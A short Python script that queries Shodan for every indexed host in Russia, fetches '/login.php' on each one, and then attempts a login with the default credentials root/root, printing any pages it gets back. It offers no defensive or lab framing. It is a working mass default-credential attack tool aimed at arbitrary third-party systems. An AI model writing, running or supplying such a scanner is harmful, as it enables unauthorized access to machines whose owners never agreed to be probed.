import shodan
import sys
import requests
import json
import time
import argparse

parser = argparse.ArgumentParser(description='Shodan API')
parser.add_argument('-k', '--key', help='Shodan API key')
args = parser.parse_args()

if not args.key:
    print("[-] Please provide a valid Shodan API key")
    sys.exit(1)

api = shodan.Shodan(args.key)

try:
    results = api.search('country:RU')
except shodan.APIError, e:
    print('Error: %s' % e)
    sys.exit(1)

print('Results found: %s' % results['total'])

for result in results['matches']:
    print('IP: %s' % result['ip_str'])
    print(json.dumps(result, indent=4))
    print('----------------------------------------------------')
    try:
        r = requests.get('http://' + result['ip_str'] + '/login.php')
        if r.status_code == 200:
            print('[+] Login page found')
            print(r.text)
            print('----------------------------------------------------')
            try:
                r = requests.post('http://' + result['ip_str'] + '/login.php', data={'username': 'root', 'password': 'root'})
                if r.status_code == 200:
                    print('[+] Login successful')
                    print(r.text)
                    print('----------------------------------------------------')
            except requests.exceptions.RequestException as e:
                print(e)
                sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(e)
        sys.exit(1)
    time.sleep(1)